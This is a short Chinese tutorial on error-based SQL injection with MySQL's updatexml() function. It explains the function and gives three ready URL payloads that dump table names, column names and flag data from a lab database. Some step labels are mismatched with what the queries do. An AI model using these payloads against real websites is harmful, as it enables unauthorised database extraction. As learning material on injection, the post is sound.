报错注入updatexml函数使用

一.
floor()、extractvalue()、updatexml() 函数都是与报错注入有关
二.updatexml函数
使用方式:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。

还可以利用floor()、extractvalue()等函数进行报错注入
还有几个right()left()substr() 这几个函数是指截取字符串。(在报错出注入中可以用到)

由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

实验:
爆数据库:

?id=1 union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘sqli’),0x7e),1) #
爆表:
?id=1 union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’),0x7e),1) #
爆字段:
?id=1 union select updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1) #
如果爆出的字段是一半还是使用right或者left函数进行。

如有错误请评论或者私聊。。。。。。。。。。。。。。。。。。。。。。。。

你可能感兴趣的:(SQL注入及其知识原理)